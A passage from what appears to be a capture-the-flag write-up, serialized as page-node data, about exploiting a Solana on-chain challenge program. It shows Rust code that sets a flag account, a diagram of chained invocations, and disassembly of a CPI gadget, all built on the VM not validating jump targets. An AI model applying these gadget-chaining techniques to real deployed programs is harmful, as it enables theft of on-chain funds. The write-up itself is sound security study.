owner",{"type":24,"tag":930,"props":46605,"children":46606},{"style":1158},[46607],{"type":30,"value":476},{"type":24,"tag":930,"props":46609,"children":46610},{"style":959},[46611],{"type":30,"value":45131},{"type":24,"tag":930,"props":46613,"children":46614},{"style":1158},[46615],{"type":30,"value":6597},{"type":24,"tag":930,"props":46617,"children":46618},{"style":959},[46619],{"type":30,"value":46620},"ID\n",{"type":24,"tag":930,"props":46622,"children":46623},{"class":932,"line":1376},[46624],{"type":24,"tag":930,"props":46625,"children":46626},{"style":959},[46627],{"type":30,"value":28465},{"type":24,"tag":930,"props":46629,"children":46630},{"class":932,"line":1418},[46631,46636],{"type":24,"tag":930,"props":46632,"children":46633},{"style":1002},[46634],{"type":30,"value":46635},"        vec!",{"type":24,"tag":930,"props":46637,"children":46638},{"style":959},[46639],{"type":30,"value":46640},"[\n",{"type":24,"tag":930,"props":46642,"children":46643},{"class":932,"line":1438},[46644,46649,46653,46657,46661,46665,46670,46674,46679,46683],{"type":24,"tag":930,"props":46645,"children":46646},{"style":959},[46647],{"type":30,"value":46648},"            AccountMeta",{"type":24,"tag":930,"props":46650,"children":46651},{"style":1158},[46652],{"type":30,"value":6597},{"type":24,"tag":930,"props":46654,"children":46655},{"style":1002},[46656],{"type":30,"value":18226},{"type":24,"tag":930,"props":46658,"children":46659},{"style":959},[46660],{"type":30,"value":1010},{"type":24,"tag":930,"props":46662,"children":46663},{"style":1158},[46664],{"type":30,"value":1410},{"type":24,"tag":930,"props":46666,"children":46667},{"style":1023},[46668],{"type":30,"value":46669},"user_ai",{"type":24,"tag":930,"props":46671,"children":46672},{"style":1158},[46673],{"type":30,"value":436},{"type":24,"tag":930,"props":46675,"children":46676},{"style":959},[46677],{"type":30,"value":46678},"key, ",{"type":24,"tag":930,"props":46680,"children":46681},{"style":937},[46682],{"type":30,"value":7110},{"type":24,"tag":930,"props":46684,"children":46685},{"style":959},[46686],{"type":30,"value":9848},{"type":24,"tag":930,"props":46688,"children":46689},{"class":932,"line":1479},[46690,46694,46698,46702,46706,46710,46715,46719,46723,46727],{"type":24,"tag":930,"props":46691,"children":46692},{"style":959},[46693],{"type":30,"value":46648},{"type":24,"tag":930,"props":46695,"children":46696},{"style":1158},[46697],{"type":30,"value":6597},{"type":24,"tag":930,"props":46699,"children":46700},{"style":1002},[46701],{"type":30,"value":18226},{"type":24,"tag":930,"props":46703,"children":46704},{"style":959},[46705],{"type":30,"value":1010},{"type":24,"tag":930,"props":46707,"children":46708},{"style":1158},[46709],{"type":30,"value":1410},{"type":24,"tag":930,"props":46711,"children":46712},{"style":1023},[46713],{"type":30,"value":46714},"flag_pda_ai",{"type":24,"tag":930,"props":46716,"children":46717},{"style":1158},[46718],{"type":30,"value":436},{"type":24,"tag":930,"props":46720,"children":46721},{"style":959},[46722],{"type":30,"value":46678},{"type":24,"tag":930,"props":46724,"children":46725},{"style":937},[46726],{"type":30,"value":7110},{"type":24,"tag":930,"props":46728,"children":46729},{"style":959},[46730],{"type":30,"value":9848},{"type":24,"tag":930,"props":46732,"children":46733},{"class":932,"line":1506},[46734],{"type":24,"tag":930,"props":46735,"children":46736},{"style":959},[46737],{"type":30,"value":46738},"        ],\n",{"type":24,"tag":930,"props":46740,"children":46741},{"class":932,"line":1525},[46742],{"type":24,"tag":930,"props":46743,"children":46744},{"style":959},[46745],{"type":30,"value":46746},"    );\n",{"type":24,"tag":930,"props":46748,"children":46749},{"class":932,"line":1569},[46750,46754],{"type":24,"tag":930,"props":46751,"children":46752},{"style":1002},[46753],{"type":30,"value":44216},{"type":24,"tag":930,"props":46755,"children":46756},{"style":959},[46757],{"type":30,"value":2814},{"type":24,"tag":930,"props":46759,"children":46760},{"class":932,"line":1592},[46761,46765,46770],{"type":24,"tag":930,"props":46762,"children":46763},{"style":1158},[46764],{"type":30,"value":6587},{"type":24,"tag":930,"props":46766,"children":46767},{"style":1023},[46768],{"type":30,"value":46769},"instruction",{"type":24,"tag":930,"props":46771,"children":46772},{"style":959},[46773],{"type":30,"value":2832},{"type":24,"tag":930,"props":46775,"children":46776},{"class":932,"line":1610},[46777,46781],{"type":24,"tag":930,"props":46778,"children":46779},{"style":1158},[46780],{"type":30,"value":6587},{"type":24,"tag":930,"props":46782,"children":46783},{"style":959},[46784],{"type":30,"value":46640},{"type":24,"tag":930,"props":46786,"children":46787},{"class":932,"line":1628},[46788,46793,46797,46801],{"type":24,"tag":930,"props":46789,"children":46790},{"style":1023},[46791],{"type":30,"value":46792},"            user_ai",{"type":24,"tag":930,"props":46794,"children":46795},{"style":1158},[46796],{"type":30,"value":436},{"type":24,"tag":930,"props":46798,"children":46799},{"style":1002},[46800],{"type":30,"value":18523},{"type":24,"tag":930,"props":46802,"children":46803},{"style":959},[46804],{"type":30,"value":6607},{"type":24,"tag":930,"props":46806,"children":46807},{"class":932,"line":1637},[46808,46813,46817,46821],{"type":24,"tag":930,"props":46809,"children":46810},{"style":1023},[46811],{"type":30,"value":46812},"            flag_pda_ai",{"type":24,"tag":930,"props":46814,"children":46815},{"style":1158},[46816],{"type":30,"value":436},{"type":24,"tag":930,"props":46818,"children":46819},{"style":1002},[46820],{"type":30,"value":18523},{"type":24,"tag":930,"props":46822,"children":46823},{"style":959},[46824],{"type":30,"value":6607},{"type":24,"tag":930,"props":46826,"children":46827},{"class":932,"line":1646},[46828],{"type":24,"tag":930,"props":46829,"children":46830},{"style":959},[46831],{"type":30,"value":46738},{"type":24,"tag":930,"props":46833,"children":46834},{"class":932,"line":1673},[46835,46839,46843,46847,46851,46855,46859,46863],{"type":24,"tag":930,"props":46836,"children":46837},{"style":1158},[46838],{"type":30,"value":6587},{"type":24,"tag":930,"props":46840,"children":46841},{"style":959},[46842],{"type":30,"value":6849},{"type":24,"tag":930,"props":46844,"children":46845},{"style":1158},[46846],{"type":30,"value":6230},{"type":24,"tag":930,"props":46848,"children":46849},{"style":959},[46850],{"type":30,"value":6849},{"type":24,"tag":930,"props":46852,"children":46853},{"style":1270},[46854],{"type":30,"value":45711},{"type":24,"tag":930,"props":46856,"children":46857},{"style":1158},[46858],{"type":30,"value":436},{"type":24,"tag":930,"props":46860,"children":46861},{"style":1002},[46862],{"type":30,"value":45720},{"type":24,"tag":930,"props":46864,"children":46865},{"style":959},[46866],{"type":30,"value":46867},"()]],\n",{"type":24,"tag":930,"props":46869,"children":46870},{"class":932,"line":1692},[46871,46875,46879],{"type":24,"tag":930,"props":46872,"children":46873},{"style":959},[46874],{"type":30,"value":6772},{"type":24,"tag":930,"props":46876,"children":46877},{"style":1158},[46878],{"type":30,"value":5347},{"type":24,"tag":930,"props":46880,"children":46881},{"style":959},[46882],{"type":30,"value":5539},{"type":24,"tag":930,"props":46884,"children":46885},{"class":932,"line":1730},[46886],{"type":24,"tag":930,"props":46887,"children":46888},{"emptyLinePlaceholder":16},[46889],{"type":30,"value":2412},{"type":24,"tag":930,"props":46891,"children":46892},{"class":932,"line":1762},[46893],{"type":24,"tag":930,"props":46894,"children":46895},{"style":1422},[46896],{"type":30,"value":46897},"    // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":24,"tag":930,"props":46899,"children":46900},{"class":932,"line":1775},[46901,46906,46910,46914,46918,46922,46926,46930,46934,46938,46942,46947,46951,46955,46960,46964,46968,46973],{"type":24,"tag":930,"props":46902,"children":46903},{"style":1023},[46904],{"type":30,"value":46905},"    flag_pda_ai",{"type":24,"tag":930,"props":46907,"children":46908},{"style":1158},[46909],{"type":30,"value":436},{"type":24,"tag":930,"props":46911,"children":46912},{"style":1002},[46913],{"type":30,"value":16981},{"type":24,"tag":930,"props":46915,"children":46916},{"style":959},[46917],{"type":30,"value":16986},{"type":24,"tag":930,"props":46919,"children":46920},{"style":1158},[46921],{"type":30,"value":5347},{"type":24,"tag":930,"props":46923,"children":46924},{"style":959},[46925],{"type":30,"value":6849},{"type":24,"tag":930,"props":46927,"children":46928},{"style":1158},[46929],{"type":30,"value":6173},{"type":24,"tag":930,"props":46931,"children":46932},{"style":1242},[46933],{"type":30,"value":7192},{"type":24,"tag":930,"props":46935,"children":46936},{"style":959},[46937],{"type":30,"value":18514},{"type":24,"tag":930,"props":46939,"children":46940},{"style":1158},[46941],{"type":30,"value":436},{"type":24,"tag":930,"props":46943,"children":46944},{"style":1002},[46945],{"type":30,"value":46946},"copy_from_slice",{"type":24,"tag":930,"props":46948,"children":46949},{"style":959},[46950],{"type":30,"value":1010},{"type":24,"tag":930,"props":46952,"children":46953},{"style":1158},[46954],{"type":30,"value":6230},{"type":24,"tag":930,"props":46956,"children":46957},{"style":1242},[46958],{"type":30,"value":46959},"0x4337",{"type":24,"tag":930,"props":46961,"children":46962},{"style":943},[46963],{"type":30,"value":11152},{"type":24,"tag":930,"props":46965,"children":46966},{"style":1158},[46967],{"type":30,"value":436},{"type":24,"tag":930,"props":46969,"children":46970},{"style":1002},[46971],{"type":30,"value":46972},"to_le_bytes",{"type":24,"tag":930,"props":46974,"children":46975},{"style":959},[46976],{"type":30,"value":18528},{"type":24,"tag":930,"props":46978,"children":46979},{"class":932,"line":1825},[46980],{"type":24,"tag":930,"props":46981,"children":46982},{"emptyLinePlaceholder":16},[46983],{"type":30,"value":2412},{"type":24,"tag":930,"props":46985,"children":46986},{"class":932,"line":1834},[46987,46991],{"type":24,"tag":930,"props":46988,"children":46989},{"style":943},[46990],{"type":30,"value":17439},{"type":24,"tag":930,"props":46992,"children":46993},{"style":959},[46994],{"type":30,"value":17444},{"type":24,"tag":930,"props":46996,"children":46997},{"class":932,"line":1843},[46998],{"type":24,"tag":930,"props":46999,"children":47000},{"style":959},[47001],{"type":30,"value":2528},{"type":24,"tag":33,"props":47003,"children":47004},{},[47005],{"type":30,"value":47006},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":24,"tag":33,"props":47008,"children":47009},{},[47010],{"type":24,"tag":140,"props":47011,"children":47014},{"alt":47012,"src":47013},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":24,"tag":33,"props":47016,"children":47017},{},[47018],{"type":30,"value":47019},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":24,"tag":68,"props":47021,"children":47023},{"id":47022},"solution-implementation",[47024],{"type":30,"value":47025},"Solution Implementation",{"type":24,"tag":33,"props":47027,"children":47028},{},[47029,47031,47036],{"type":30,"value":47030},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":24,"tag":156,"props":47032,"children":47034},{"className":47033},[],[47035],{"type":30,"value":38769},{"type":30,"value":47037}," invocations:",{"type":24,"tag":920,"props":47039,"children":47043},{"className":47040,"code":47041,"language":47042,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: gadget1]\n    C --> E[3: process]\n    E --> F[4: gadget2]\n    E --> G[...]\n","mermaid",[47044],{"type":24,"tag":156,"props":47045,"children":47046},{"__ignoreMap":7},[47047,47055,47063,47071,47079,47087,47095],{"type":24,"tag":930,"props":47048,"children":47049},{"class":932,"line":933},[47050],{"type":24,"tag":930,"props":47051,"children":47052},{},[47053],{"type":30,"value":47054},"graph LR\n",{"type":24,"tag":930,"props":47056,"children":47057},{"class":932,"line":984},[47058],{"type":24,"tag":930,"props":47059,"children":47060},{},[47061],{"type":30,"value":47062},"    A[0: entrypoint] --> B[1: process_instruction]\n",{"type":24,"tag":930,"props":47064,"children":47065},{"class":932,"line":993},[47066],{"type":24,"tag":930,"props":47067,"children":47068},{},[47069],{"type":30,"value":47070},"    B --> C[2: process]\n",{"type":24,"tag":930,"props":47072,"children":47073},{"class":932,"line":1057},[47074],{"type":24,"tag":930,"props":47075,"children":47076},{},[47077],{"type":30,"value":47078},"    C --> D[3: gadget1]\n",{"type":24,"tag":930,"props":47080,"children":47081},{"class":932,"line":1066},[47082],{"type":24,"tag":930,"props":47083,"children":47084},{},[47085],{"type":30,"value":47086},"    C --> E[3: process]\n",{"type":24,"tag":930,"props":47088,"children":47089},{"class":932,"line":1075},[47090],{"type":24,"tag":930,"props":47091,"children":47092},{},[47093],{"type":30,"value":47094},"    E --> F[4: gadget2]\n",{"type":24,"tag":930,"props":47096,"children":47097},{"class":932,"line":1122},[47098],{"type":24,"tag":930,"props":47099,"children":47100},{},[47101],{"type":30,"value":47102},"    E --> G[...]\n",{"type":24,"tag":33,"props":47104,"children":47105},{},[47106],{"type":30,"value":47107},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":24,"tag":33,"props":47109,"children":47110},{},[47111,47113,47119],{"type":30,"value":47112},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":24,"tag":37,"props":47114,"children":47116},{"href":43575,"rel":47115},[41],[47117],{"type":30,"value":47118},"Binary Ninja",{"type":30,"value":47120}," to find a suitable gadget for this.",{"type":24,"tag":33,"props":47122,"children":47123},{},[47124,47126,47133],{"type":30,"value":47125},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":24,"tag":37,"props":47127,"children":47130},{"href":47128,"rel":47129},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[41],[47131],{"type":30,"value":47132},"skip the strip pass",{"type":30,"value":436},{"type":24,"tag":151,"props":47135,"children":47137},{"id":47136},"cpi-gadget",[47138],{"type":30,"value":47139},"CPI Gadget",{"type":24,"tag":33,"props":47141,"children":47142},{},[47143,47145,47150,47152,47159,47161,47167],{"type":30,"value":47144},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":24,"tag":156,"props":47146,"children":47148},{"className":47147},[],[47149],{"type":30,"value":570},{"type":30,"value":47151}," function. This function calls into the solana sdk's function ",{"type":24,"tag":37,"props":47153,"children":47156},{"href":47154,"rel":47155},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[41],[47157],{"type":30,"value":47158},"invoke_signed_unchecked",{"type":30,"value":47160},", yielding a powerful gadget at the address ",{"type":24,"tag":156,"props":47162,"children":47164},{"className":47163},[],[47165],{"type":30,"value":47166},"0x100001ba8",{"type":30,"value":436},{"type":24,"tag":920,"props":47169,"children":47171},{"className":6102,"code":47170,"language":6101,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8  79a278ff00000000   ldxdw r2, [r10-136] {var_88}\n100001bb0  79a380ff00000000   ldxdw r3, [r10-128] {var_80}\n100001bb8  79a468ff00000000   ldxdw r4, [r10-152] {var_98}\n100001bc0  79a570ff00000000   ldxdw r5, [r10-144] {var_90}\n100001bc8  8520000020100000   call sol_invoke_signed_rust\n100001bd0  5500040000000000   jne \u003C+4> r0, 0x0\n\n100001bd8  b701000018000000   mov r1, 0x18\n100001be0  79a288ff00000000   ldxdw r2, [r10-120] {var_78}\n100001be8  6312000000000000   stxw [r2-0], r1  {0x18}\n100001bf0  0500030000000000   ja \u003C+3>\n\n100001bf8  79a188ff00000000   ldxdw r1, [r10-120] {var_78}\n100001c00  bf02000000000000   mov r2, r0\n100001c08  8510000075000000   call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10  79a2b8ff00000000   ldxdw r2, [r10-72] {var_48}\n100001c18  1502040000000000   jeq \u003C+4> r2, 0x0\n\n100001c20  2702000022000000   mul r2, 0x22\n100001c28  79a1b0ff00000000   ldxdw r1, [r10-80] {var_50}\n100001c30  b703000001000000   mov r3, 0x1\n100001c38  8510000003feffff   call __rust_dealloc\n\n100001c40  79a2d0ff00000000   ldxdw r2, [r10-48] {var_30}\n100001c48  1502030000000000   jeq \u003C+3> r2, 0x0\n\n100001c50  79a1c8ff00000000   ldxdw r1, [r10-56] {var_38}\n100001c58  b703000001000000   mov r3, 0x1\n100001c60  85100000fefdffff   call __rust_dealloc\n\n100001c68  9500000000000000   exit {__return_addr}\n",[47172],{"type":24,"tag":156,"props":47173,"children":47174},{"__ignoreMap":7},[47175,47200,47256,47307,47359,47411,47434,47482,47489,47521,47572,47630,47664,47671,47720,47750,47825,47832,47883,47929,47936,47967,48018,48048,48070,48077,48128,48173,48180,48231,48259,48280,48287],{"type":24,"tag":930,"props":47176,"children":47177},{"class":932,"line":933},[47178,47182,47186,47191,47195],{"type":24,"tag":930,"props":47179,"children":47180},{"style":959},[47181],{"type":30,"value":16760},{"type":24,"tag":930,"props":47183,"children":47184},{"style":1158},[47185],{"type":30,"value":6597},{"type":24,"tag":930,"props":47187,"children":47188},{"style":959},[47189],{"type":30,"value":47190},"program",{"type":24,"tag":930,"props":47192,"children":47193},{"style":1158},[47194],{"type":30,"value":6597},{"type":24,"tag":930,"props":47196,"children":47197},{"style":1023},[47198],{"type":30,"value":47199},"invoke_signed_unchecked\n",{"type":24,"tag":930,"props":47201,"children":47202},{"class":932,"line":984},[47203,47208,47213,47218,47223,47228,47233,47237,47242,47247,47252],{"type":24,"tag":930,"props":47204,"children":47205},{"style":1023},[47206],{"type":30,"value":47207},"100001ba8",{"type":24,"tag":930,"props":47209,"children":47210},{"style":1023},[47211],{"type":30,"value":47212},"  79a278ff00000000",{"type":24,"tag":930,"props":47214,"children":47215},{"style":1023},[47216],{"type":30,"value":47217},"   ldxdw",{"type":24,"tag":930,"props":47219,"children":47220},{"style":1023},[47221],{"type":30,"value":47222}," r2",{"type":24,"tag":930,"props":47224,"children":47225},{"style":959},[47226],{"type":30,"value":47227},", [",{"type":24,"tag":930,"props":47229,"children":47230},{"style":1023},[47231],{"type":30,"value":47232},"r10",{"type":24,"tag":930,"props":47234,"children":47235},{"style":1158},[47236],{"type":30,"value":1215},{"type":24,"tag":930,"props":47238,"children":47239},{"style":1242},[47240],{"type":30,"value":47241},"136",{"type":24,"tag":930,"props":47243,"children":47244},{"style":959},[47245],{"type":30,"value":47246},"] {",{"type":24,"tag":930,"props":47248,"children":47249},{"style":1023},[47250],{"type":30,"value":47251},"var_88",{"type":24,"tag":930,"props":47253,"children":47254},{"style":959},[47255],{"type":30,"value":2528},{"type":24,"tag":930,"props":47257,"children":47258},{"class":932,"line":993},[47259,47264,47269,47273,47278,47282,47286,47290,47294,47298,47303],{"type":24,"tag":930,"props":47260,"children":47261},{"style":1023},[47262],{"type":30,"value":47263},"100001bb0",{"type":24,"tag":930,"props":47265,"children":47266},{"style":1023},[47267],{"type":30,"value":47268},"  79a380ff00000000",{"type":24,"tag":930,"props":47270,"children":47271},{"style":1023},[47272],{"type":30,"value":47217},{"type":24,"tag":930,"props":47274,"children":47275},{"style":1023},[47276],{"type":30,"value":47277}," r3",{"type":24,"tag":930,"props":47279,"children":47280},{"style":959},[47281],{"type":30,"value":47227},{"type":24,"tag":930,"props":47283,"children":47284},{"style":1023},[47285],{"type":30,"value":47232},{"type":24,"tag":930,"props":47287,"children":47288},{"style":1158},[47289],{"type":30,"value":1215},{"type":24,"tag":930,"props":47291,"children":47292},{"style":1242},[47293],{"type":30,"value":32938},{"type":24,"tag":930,"props":47295,"children":47296},{"style":959},[47297],{"type":30,"value":47246},{"type":24,"tag":930,"props":47299,"children":47300},{"style":1023},[47301],{"type":30,"value":47302},"var_80",{"type":24,"tag":930,"props":47304,"children":47305},{"style":959},[47306],{"type":30,"value":2528},{"type":24,"tag":930,"props":47308,"children":47309},{"class":932,"line":1057},[47310,47315,47320,47324,47329,47333,47337,47341,47346,47350,47355],{"type":24,"tag":930,"props":47311,"children":47312},{"style":1023},[47313],{"type":30,"value":47314},"100001bb8",{"type":24,"tag":930,"props":47316,"children":47317},{"style":1023},[47318],{"type":30,"value":47319},"  79a468ff00000000",{"type":24,"tag":930,"props":47321,"children":47322},{"style":1023},[47323],{"type":30,"value":47217},{"type":24,"tag":930,"props":47325,"children":47326},{"style":1023},[47327],{"type":30,"value":47328}," r4",{"type":24,"tag":930,"props":47330,"children":47331},{"style":959},[47332],{"type":30,"value":47227},{"type":24,"tag":930,"props":47334,"children":47335},{"style":1023},[47336],{"type":30,"value":47232},{"type":24,"tag":930,"props":47338,"children":47339},{"style":1158},[47340],{"type":30,"value":1215},{"type":24,"tag":930,"props":47342,"children":47343},{"style":1242},[47344],{"type":30,"value":47345},"152",{"type":24,"tag":930,"props":47347,"children":47348},{"style":959},[47349],{"type":30,"value":47246},{"type":24,"tag":930,"props":47351,"children":47352},{"style":1023},[47353],{"type":30,"value":47354},"var_98",{"type":24,"tag":930,"props":47356,"children":47357},{"style":959},[47358],{"type":30,"value":2528},{"type":24,"tag":930,"props":47360,"children":47361},{"class":932,"line":1066},[47362,47367,47372,47376,47381,47385,47389,47393,47398,47402,47407],{"type":24,"tag":930,"props":47363,"children":47364},{"style":1023},[47365],{"type":30,"value":47366},"100001bc0",{"type":24,"tag":930,"props":47368,"children":47369},{"style":1023},[47370],{"type":30,"value":47371},"  79a570ff00000000",{"type":24,"tag":930,"props":47373,"children":47374},{"style":1023},[47375],{"type":30,"value":47217},{"type":24,"tag":930,"props":47377,"children":47378},{"style":1023},[47379],{"type":30,"value":47380}," r5",{"type":24,"tag":930,"props":47382,"children":47383},{"style":959},[47384],{"type":30,"value":47227},{"type":24,"tag":930,"props":47386,"children":47387},{"style":1023},[47388],{"type":30,"value":47232},{"type":24,"tag":930,"props":47390,"children":47391},{"style":1158},[47392],{"type":30,"value":1215},{"type":24,"tag":930,"props":47394,"children":47395},{"style":1242},[47396],{"type":30,"value":47397},"144",{"type":24,"tag":930,"props":47399,"children":47400},{"style":959},[47401],{"type":30,"value":47246},{"type":24,"tag":930,"props":47403,"children":47404},{"style":1023},[47405],{"type":30,"value":47406},"var_90",{"type":24,"tag":930,"props":47408,"children":47409},{"style":959},[47410],{"type":30,"value":2528},{"type":24,"tag":930,"props":47412,"children":47413},{"class":932,"line":1075},[47414,47419,47424,47429],{"type":24,"tag":930,"props":47415,"children":47416},{"style":1023},[47417],{"type":30,"value":47418},"100001bc8",{"type":24,"tag":930,"props":47420,"children":47421},{"style":1242},[47422],{"type":30,"value":47423},"  8520000020100000",{"type":24,"tag":930,"props":47425,"children":47426},{"style":1023},[47427],{"type":30,"value":47428},"   call",{"type":24,"tag":930,"props":47430,"children":47431},{"style":1023},[47432],{"type":30,"value":47433}," sol_invoke_signed_rust\n",{"type":24,"tag":930,"props":47435,"children":47436},{"class":932,"line":1122},[47437,47442,47447,47452,47456,47460,47464,47468,47473,47477],{"type":24,"tag":930,"props":47438,"children":47439},{"style":1023},[47440],{"type":30,"value":47441},"100001bd0",{"type":24,"tag":930,"props":47443,"children":47444},{"style":1242},[47445],{"type":30,"value":47446},"  5500040000000000",{"type":24,"tag":930,"props":47448,"children":47449},{"style":1023},[47450],{"type":30,"value":47451},"   jne",{"type":24,"tag":930,"props":47453,"children":47454},{"style":959},[47455],{"type":30,"value":11828},{"type":24,"tag":930,"props":47457,"children":47458},{"style":1158},[47459],{"type":30,"value":1400},{"type":24,"tag":930,"props":47461,"children":47462},{"style":1242},[47463],{"type":30,"value":20630},{"type":24,"tag":930,"props":47465,"children":47466},{"style":959},[47467],{"type":30,"value":8933},{"type":24,"tag":930,"props":47469,"children":47470},{"style":1023},[47471],{"type":30,"value":47472},"r0",{"type":24,"tag":930,"props":47474,"children":47475},{"style":959},[47476],{"type":30,"value":962},{"type":24,"tag":930,"props":47478,"children":47479},{"style":1242},[47480],{"type":30,"value":47481},"0x0\n",{"type":24,"tag":930,"props":47483,"children":47484},{"class":932,"line":1131},[47485],{"type":24,"tag":930,"props":47486,"children":47487},{"emptyLinePlaceholder":16},[47488],{"type":30,"value":2412},{"type":24,"tag":930,"props":47490,"children":47491},{"class":932,"line":1144},[47492,47497,47502,47507,47512,47516],{"type":24,"tag":930,"props":47493,"children":47494},{"style":1023},[47495],{"type":30,"value":47496},"100001bd8",{"type":24,"tag":930,"props":47498,"children":47499},{"style":1023},[47500],{"type":30,"value":47501},"  b701000018000000",{"type":24,"tag":930,"props":47503,"children":47504},{"style":1023},[47505],{"type":30,"value":47506},"   mov",{"type":24,"tag":930,"props":47508,"children":47509},{"style":1023},[47510],{"type":30,"value":47511}," r1",{"type":24,"tag":930,"props":47513,"children":47514},{"style":959},[47515],{"type":30,"value":962},{"type":24,"tag":930,"props":47517,"children":47518},{"style":1242},[47519],{"type":30,"value":47520},"0x18\n",{"type":24,"tag":930,"props":47522,"children":47523},{"class":932,"line":1169},[47524,47529,47534,47538,47542,47546,47550,47554,47559,47563,47568],{"type":24,"tag":930,"props":47525,"children":47526},{"style":1023},[47527],{"type":30,"value":47528},"100001be0",{"type":24,"tag":930,"props":47530,"children":47531},{"style":1023},[47532],{"type":30,"value":47533},"  79a288ff00000000",{"type":24,"tag":930,"props":47535,"children":47536},{"style":1023},[47537],{"type":30,"value":47217},{"type":24,"tag":930,"props":47539,"children":47540},{"style":1023},[47541],{"type":30,"value":47222},{"type":24,"tag":930,"props":47543,"children":47544},{"style":959},[47545],{"type":30,"value":47227},{"type":24,"tag":930,"props":47547,"children":47548},{"style":1023},[47549],{"type":30,"value":47232},{"type":24,"tag":930,"props":47551,"children":47552},{"style":1158},[47553],{"type":30,"value":1215},{"type":24,"tag":930,"props":47555,"children":47556},{"style":1242},[47557],{"type":30,"value":47558},"120",{"type":24,"tag":930,"props":47560,"children":47561},{"style":959},[47562],{"type":30,"value":47246},{"type":24,"tag":930,"props":47564,"children":47565},{"style":1023},[47566],{"type":30,"value":47567},"var_78",{"type":24,"tag":930,"props":47569,"children":47570},{"style":959},[47571],{"type":30,"value":2528},{"type":24,"tag":930,"props":47573,"children":47574},{"class":932,"line":1191},[47575,47580,47585,47590,47594,47599,47603,47607,47611,47616,47621,47626],{"type":24,"tag":930,"props":47576,"children":47577},{"style":1023},[47578],{"type":30,"value":47579},"100001be8",{"type":24,"tag":930,"props":47581,"children":47582},{"style":1242},[47583],{"type":30,"value":47584},"  6312000000000000",{"type":24,"tag":930,"props":47586,"children":47587},{"style":1023},[47588],{"type":30,"value":47589},"   stxw",{"type":24,"tag":930,"props":47591,"children":47592},{"style":959},[47593],{"type":30,"value":26134},{"type":24,"tag":930,"props":47595,"children":47596},{"style":1023},[47597],{"type":30,"value":47598},"r2",{"type":24,"tag":930,"props":47600,"children":47601},{"style":1158},[47602],{"type":30,"value":1215},{"type":24,"tag":930,"props":47604,"children":47605},{"style":1242},[47606],{"type":30,"value":1818},{"type":24,"tag":930,"props":47608,"children":47609},{"style":959},[47610],{"type":30,"value":26162},{"type":24,"tag":930,"props":47612,"children":47613},{"style":1023},[47614],{"type":30,"value":47615},"r1",{"type":24,"tag":930,"props":47617,"children":47618},{"style":959},[47619],{"type":30,"value":47620},"  {",{"type":24,"tag":930,"props":47622,"children":47623},{"style":1242},[47624],{"type":30,"value":47625},"0x18",{"type":24,"tag":930,"props":47627,"children":47628},{"style":959},[47629],{"type":30,"value":2528},{"type":24,"tag":930,"props":47631,"children":47632},{"class":932,"line":1223},[47633,47638,47643,47648,47652,47656,47660],{"type":24,"tag":930,"props":47634,"children":47635},{"style":1023},[47636],{"type":30,"value":47637},"100001bf0",{"type":24,"tag":930,"props":47639,"children":47640},{"style":1242},[47641],{"type":30,"value":47642},"  0500030000000000",{"type":24,"tag":930,"props":47644,"children":47645},{"style":1023},[47646],{"type":30,"value":47647},"   ja",{"type":24,"tag":930,"props":47649,"children":47650},{"style":959},[47651],{"type":30,"value":11828},{"type":24,"tag":930,"props":47653,"children":47654},{"style":1158},[47655],{"type":30,"value":1400},{"type":24,"tag":930,"props":47657,"children":47658},{"style":1242},[47659],{"type":30,"value":20397},{"type":24,"tag":930,"props":47661,"children":47662},{"style":959},[47663],{"type":30,"value":9105},{"type":24,"tag":930,"props":47665,"children":47666},{"class":932,"line":1281},[47667],{"type":24,"tag":930,"props":47668,"children":47669},{"emptyLinePlaceholder":16},[47670],{"type":30,"value":2412},{"type":24,"tag":930,"props":47672,"children":47673},{"class":932,"line":1313},[47674,47679,47684,47688,47692,47696,47700,47704,47708,47712,47716],{"type":24,"tag":930,"props":47675,"children":47676},{"style":1023},[47677],{"type":30,"value":47678},"100001bf8",{"type":24,"tag":930,"props":47680,"children":47681},{"style":1023},[47682],{"type":30,"value":47683},"  79a188ff00000000",{"type":24,"tag":930,"props":47685,"children":47686},{"style":1023},[47687],{"type":30,"value":47217},{"type":24,"tag":930,"props":47689,"children":47690},{"style":1023},[47691],{"type":30,"value":47511},{"type":24,"tag":930,"props":47693,"children":47694},{"style":959},[47695],{"type":30,"value":47227},{"type":24,"tag":930,"props":47697,"children":47698},{"style":1023},[47699],{"type":30,"value":47232},{"type":24,"tag":930,"props":47701,"children":47702},{"style":1158},[47703],{"type":30,"value":1215},{"type":24,"tag":930,"props":47705,"children":47706},{"style":1242},[47707],{"type":30,"value":47558},{"type":24,"tag":930,"props":47709,"children":47710},{"style":959},[47711],{"type":30,"value":47246},{"type":24,"tag":930,"props":47713,"children":47714},{"style":1023},[47715],{"type":30,"value":47567},{"type":24,"tag":930,"props":47717,"children":47718},{"style":959},[47719],{"type":30,"value":2528},{"type":24,"tag":930,"props":47721,"children":47722},{"class":932,"line":1335},[47723,47728,47733,47737,47741,47745],{"type":24,"tag":930,"props":47724,"children":47725},{"style":1023},[47726],{"type":30,"value":47727},"100001c00",{"type":24,"tag":930,"props":47729,"children":47730},{"style":1023},[47731],{"type":30,"value":47732},"  